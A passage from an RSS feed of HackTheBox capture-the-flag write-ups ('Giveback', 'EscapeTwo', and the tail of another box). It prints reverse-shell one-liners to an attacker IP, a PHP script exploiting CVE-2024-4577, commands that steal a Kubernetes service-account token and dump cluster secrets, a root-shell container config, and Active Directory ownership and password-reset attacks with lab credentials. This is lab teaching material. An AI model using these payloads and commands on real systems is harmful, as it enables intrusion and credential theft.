&lt;p&gt;&lt;img src=&quot;attachments/0da8d9663d1915bf853edd8307f994c1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I will then download over the &lt;code&gt;armored_key.asc&lt;/code&gt; key to decrypt it using &lt;code&gt;john&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/db53f41a6a94c038ef371ca4792ff514.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b121e81a4c6dc0aea98016bf8ec1e543.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We get an instant result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/24aea149a0082fdf1c23210e021e1f1b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sweetheart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next up I will use the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gpg --import armored_key.asc
gpg --output backup02.sql --decrypt /var/www/HackNet/backups/backup02.sql.gpg 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/37851975cf61d39c5868d99fcd7f2fed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0750f879f57ecff6a2a8a02f5f851bc6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/74f28d3c95d223ea553df5827fc3e371.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can view the contents of the file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f06beae95687bf4705f60bb2d7424f8c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While scrolling through the backup we find an interesting find:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a1eda242779f76095bae2c097efaf2a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;h4ck3rs4re3veRywh3re99
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Logging in as root&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a5d513d8786b80bdfdaf59b7f2e2a59b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65051e7408a736ceb6e7482f89e38477.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7058ae7cdecd77061f3510f3ce71675d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Giveback</title><link>https://maxk9999.vercel.app/posts/giveback</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/giveback</guid><pubDate>Wed, 24 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.94
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- --min-rate=5000 -Pn -T5 -vvvv giveback.htb

PORT      STATE    SERVICE      REASON      VERSION
22/tcp    open     ssh          syn-ack     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http         syn-ack     nginx 1.28.0
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.28.0
|_http-title: GIVING BACK IS WHAT MATTERS MOST &amp;amp;#8211; OBVI
|_http-generator: WordPress 6.8.1
30686/tcp open     http         syn-ack     Golang net/http server
|_http-favicon: Unknown favicon MD5: 078C07D5669A42740EF813D5300EBA4D
|_http-title: Site doesn&apos;t have a title (application/json).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Wed, 24 Dec 2025 11:40:52 GMT
|     Content-Length: 127
|     &quot;service&quot;: {
|     &quot;namespace&quot;: &quot;default&quot;,
|     &quot;name&quot;: &quot;wp-nginx-service&quot;
|     &quot;localEndpoints&quot;: 1,
|     &quot;serviceProxyHealthy&quot;: true
|   GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Wed, 24 Dec 2025 11:40:37 GMT
|     Content-Length: 127
|     &quot;service&quot;: {
|     &quot;namespace&quot;: &quot;default&quot;,
|     &quot;name&quot;: &quot;wp-nginx-service&quot;
|     &quot;localEndpoints&quot;: 1,
|_    &quot;serviceProxyHealthy&quot;: true
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;wpscan&lt;/h2&gt;
&lt;p&gt;I noticed that port &lt;code&gt;80&lt;/code&gt; was running on &lt;strong&gt;WordPress&lt;/strong&gt; so I ran a &lt;code&gt;wpscan&lt;/code&gt; right away:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fe9563532e19b4d38fcf8b33b6d50774.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I found an outdated plugin:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/532a1952013cb5e7379b4223b418044b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looking around on the internet I find publicly available PoC&apos;s for this version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a2148b28254ca92778e3ad1481c6d3d8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;CVE-2024-5932&lt;/h2&gt;
&lt;p&gt;I went ahead and cloned the repo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In order to run the exploit we&apos;ll need a valid URL which leads to the &lt;strong&gt;Donation&lt;/strong&gt; functionality:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python CVE-2024-5932-rce.py -u &amp;lt;URL_TO_EXPLOIT(Donation Form URL)&amp;gt; -c &amp;lt;COMMAND_TO_EXECUTE&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/73f8fdc37656639b703f585a1184b1d6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used the above URL in combination with a reverse shell command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 CVE-2024-5932-rce.py -u &apos;http://giveback.htb/donations/the-things-we-need/&apos; -c &quot;bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.9/443 0&amp;gt;&amp;amp;1&apos;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9e25995eb2e402412599aa98fb04fb64.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This returned a callback on my listener:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4bc4d39975bc3c0e2c0817f25e5a6e0d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems we got a shell as &lt;em&gt;root&lt;/em&gt; judging from the output of the &lt;code&gt;id&lt;/code&gt; command? However on closer inspection it just appears that we&apos;ve landed inside a container instead.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a2a2b1cfd7d2ecb9d4ff1b78f8fc28e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Container Priv Esc&lt;/h2&gt;
&lt;h3&gt;env enumeration&lt;/h3&gt;
&lt;p&gt;I enumerated the environment variables in order to find out more about the target and found some interesting stuff:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65300dd4a37987ac99758f52bd55a5de.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sW5sp4spa3u7RLyetrekE4oS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6f073ea977623069f6035c0ee6080acb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O8F7KR5zGi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Further down I found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2dce836d033989952e5a08b0f148352f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This appears to be some sort of legacy service on port &lt;code&gt;5000&lt;/code&gt;. Since it&apos;s in the &lt;code&gt;env&lt;/code&gt; variables we should be able to reach it using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php -r &quot;echo file_get_contents(&apos;http://10.43.2.241:5000/&apos;);&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ad1d00cff1ba775e09d00a35b0790dcb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;CVE-2024-4577&lt;/h2&gt;
&lt;p&gt;Apparently there&apos;s a CVE for this exact vulnerability:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/026db7e3f147241c41c9870a8e265d78.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For this we can set up the following script to exploit this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Reverse shell payload (same as the one-liner)
$payload = &apos;rm /tmp/shell;mkfifo /tmp/shell;cat /tmp/shell|sh -i 2&amp;gt;&amp;amp;1|nc 10.10.14.9 4444 &amp;gt; /tmp/shell&apos;;

// Target URL
$url = &apos;http://legacy-intranet-service:5000/cgi-bin/php-cgi?--define+allow_url_include=on+--define+auto_prepend_file=php://input&apos;;

// HTTP context
$options = [
    &apos;http&apos; =&amp;gt; [
        &apos;method&apos;  =&amp;gt; &apos;POST&apos;,
        &apos;header&apos;  =&amp;gt; &quot;Content-Type: application/x-www-form-urlencoded&quot;,
        &apos;content&apos; =&amp;gt; $payload,
        &apos;timeout&apos; =&amp;gt; 4
    ]
];

$context = stream_context_create($options);

// Send request
$response = @file_get_contents($url, false, $context);

// Output handling (same behavior as original)
if ($response !== false) {
    echo substr($response, 0, 5000);
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c8262a49160991980f408fb3037c695a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once the script fired I could switch over to my other session where it appears I got &lt;em&gt;root&lt;/em&gt; access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cdb7c9262b755216e79a89076af10e2b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Kubernetes Cluster Enumeration&lt;/h2&gt;
&lt;p&gt;We can start off by checking out the following directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3dda5ef7029fc83838949e43313f8a80.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly we can set the &lt;code&gt;token&lt;/code&gt; as a new variable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once done we will be using this token to enumerate the api.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -k -H &quot;Authorization: Bearer $TOKEN&quot; https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/secrets
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gives us an absolutely &lt;em&gt;ENORMOUS&lt;/em&gt; output but the most important is the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/22977650a9a3154dcc084eed02216f27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eeb7d64a13c456e28e73318bd798d773.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as babywyrm&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;babywyrm
Qoq0jm4sCx8f7D2yysg7f4DJPwKeuH9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After &lt;code&gt;base64&lt;/code&gt; decoding the password we can go ahead and log in with these credentials:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d70a50e9d6aa8bc6a58ad12ac5952521.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a73bf2b085abe45bdc6e0e82fe39444.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;debug&lt;/h2&gt;
&lt;p&gt;I checked out my &lt;code&gt;sudo&lt;/code&gt; privileges and found the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/afa80004657c18cf512ac04e1d2f5b0b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to run this binary we&apos;ll need 2 passwords:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;babywyrm&lt;/em&gt; ssh pass&lt;/li&gt;
&lt;li&gt;mariadb admin pass (from &lt;code&gt;env&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# babywyrm pass
Qoq0jm4sCx8f7D2yysg7f4DJPwKeuH9

# mariadb pass
sW5sp4spa3u7RLyetrekE4oS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a32fc998918433a4c858da41ae30c29f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tried out the &lt;code&gt;run&lt;/code&gt; command and noticed the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/da443254216d61bd5adb7294681312c8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems the &lt;code&gt;config.json&lt;/code&gt; file is missing, which might be a prime opportunity to write one ourselves.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;ociVersion&quot;: &quot;1.0.0&quot;,
    &quot;process&quot;: {
        &quot;terminal&quot;: false,
        &quot;user&quot;: {&quot;uid&quot;: 0, &quot;gid&quot;: 0},
        &quot;args&quot;: [&quot;/bin/bash&quot;, &quot;-i&quot;],
        &quot;cwd&quot;: &quot;/&quot;,
        &quot;env&quot;: [&quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;]
    },
    &quot;root&quot;: {&quot;path&quot;: &quot;/&quot;},
    &quot;linux&quot;: {
        &quot;namespaces&quot;: [
            {&quot;type&quot;: &quot;pid&quot;},
            {&quot;type&quot;: &quot;network&quot;}
        ]
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next we create the &lt;code&gt;rootfs&lt;/code&gt; directory inside the &lt;code&gt;/tmp&lt;/code&gt; directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir rootfs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we go ahead and run it to instantly get an interactive shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7640581b03f89d63efb4c7126882f66a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/95addd273d2464e1769405106cc1ce8e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/31a9a218a357252777eb456e51d2cb40.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-EscapeTwo</title><link>https://maxk9999.vercel.app/posts/escapetwo</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/escapetwo</guid><pubDate>Fri, 23 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.129.232.128

Creds:
rose
KxEPkKe6R8su
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- --min-rate=5000 -Pn -T5 -vvvv escapetwo.htb

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-01-23 18:32:32Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-01-23T18:34:02+00:00; -13s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-01-23T18:34:02+00:00; -13s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49693/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49694/tcp open  msrpc         syn-ack Microsoft Windows RPC
49697/tcp open  msrpc         syn-ack Microsoft Windows RPC
49710/tcp open  msrpc         syn-ack Microsoft Windows RPC
49726/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Enum4linux-ng&lt;/h2&gt;
&lt;p&gt;Using the &lt;code&gt;enum4linux-ng&lt;/code&gt; tool I was able to enumerate the following information:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a2bd4077bb395761a14b1235c6cc947e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scrolling further down I found all the users present on the system:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/819cb0abcf83db235f91cd1cc87e112f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was also able to read through some shares on the system:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29e423b9db33d5f1a9cf665037907966.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Luckily for me (as usually in CTF&apos;s) there&apos;s no password lockout set to prevent password spraying:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3022b8d4f1a3901778f4a562c44db5f5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;nxc&lt;/h2&gt;
&lt;p&gt;Continuing on I ran &lt;code&gt;nxc&lt;/code&gt; and found some kerberoastable users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c8b1c69e430c2718acf6a65884c936b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ca_svc
sql_svc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunately I was unable to crack these:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ea6d2dc8269edb68e7ee2f1a307de940.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;smbclient&lt;/h2&gt;
&lt;p&gt;Using &lt;code&gt;smbclient&lt;/code&gt; I went ahead and logged into some of the shares to enumerate those further:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6055cd356360029e07851103d90df56c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded the present files and checked them out.&lt;/p&gt;
&lt;p&gt;These appeared to be corrupted however:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6694b995df0b2494948f8453ae0017ed.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;hexdump&lt;/h3&gt;
&lt;p&gt;By running &lt;code&gt;hexdump&lt;/code&gt; I noticed that the first magic bytes is the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b4303d18d686f82aadc4b17f3cbc9d7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If we are to believe this AI overview this points to an archive file instead of a &lt;code&gt;xlsx&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec7c0afb9285109417ada780d51bc7f3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;hexeditor&lt;/h3&gt;
&lt;p&gt;It appears the magic bytes got corrupted and should be fixed:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d90ae07ea42e4377bce48949dba9f9bc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b735d6a7bd5c9cdc4726b299cc807e4c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After editing the file it shows up correctly:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c54c7d7d1ba07fe85bcb292251de0ac2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that the bytes have been fixed we can view the contents of the file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e0cb9821580a33dca978d0fdcdc855a5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By using password spraying methods we can get the following valid info:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65494676d9a983d646ab396e8af64b37.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;MSSQL&lt;/h2&gt;
&lt;p&gt;But more importantly:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0034c2467920a7557742859a6f081c9d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8063c14f7b7564014286593a686bca16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as sql_svc&lt;/h2&gt;
&lt;p&gt;Using these rights we can give ourselves a reverse shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ccb3291f77520727a2def8b71d28457b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec3d335e981f3dac509818d5fcf1792e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From here I enumerated the local users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8cfecd4c664fb2f51d22fedf4eed7b1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nothing interesting there, so I checked out the &lt;code&gt;C:\&lt;/code&gt; directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9db33669d67b95b54b773b1492b86cbe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3de423ece1a8d8107d51c95618c9f63e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside we find another password that we hadn&apos;t found yet:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6a23ce8ed6d85ea44608b364d983c497.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However when spraying the passwords I discovered that the &lt;em&gt;ryan&lt;/em&gt; user also used this password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ed27056b8bc250ce0762c6cfb2e4ce60.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;I continued enumeration using &lt;code&gt;bloodhound&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a40fd6674f2d5a902dc41d495190ae58.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/181fdf5b5ccc0a854e99bf97bd7bf466.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;WriteOwner&lt;/h3&gt;
&lt;p&gt;Here I noticed that &lt;em&gt;ryan&lt;/em&gt; has the &lt;code&gt;WriteOwner&lt;/code&gt; rights over the &lt;em&gt;ca_svc&lt;/em&gt; user which can be exploited as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-owneredit -action write -new-owner ryan -target-dn &quot;CN=CERTIFICATION AUTHORITY,CN=USERS,DC=SEQUEL,DC=HTB&quot; sequel.htb/ryan:&apos;WqSZAF6CysDQbGb3&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ced42497f913076d7697d0affd11ad51.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Alternatively this can also be done using &lt;code&gt;bloodyAD&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.129.232.128  -d sequel.htb -u ryan -p &apos;WqSZAF6CysDQbGb3&apos; set owner ca_svc ryan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4ed06a4ec392bc81c2ebbce39599a65e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Accordingly we can force change the password for the &lt;em&gt;ca_svc&lt;/em&gt; service account. This can yet again be done in multiple ways as seen below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using &lt;code&gt;impacket&lt;/code&gt; tool suite&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;impacket-dacledit -action write -rights FullControl -principal ryan -target-dn &quot;CN=CERTIFICATION AUTHORITY,CN=USERS,DC=SEQUEL,DC=HTB&quot; sequel.htb/ryan:&apos;WqSZAF6CysDQbGb3&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/498ec0653aeaccea8d605329e176aecf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using &lt;code&gt;bloodyAD&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host 10.129.232.128  -d sequel.htb -u ryan -p &apos;WqSZAF6CysDQbGb3&apos; set password ca_svc &apos;P@ssword123!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/51a89ff14f634eeb4cfde815f7c198a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;ADCS - ESC4&lt;/h2&gt;
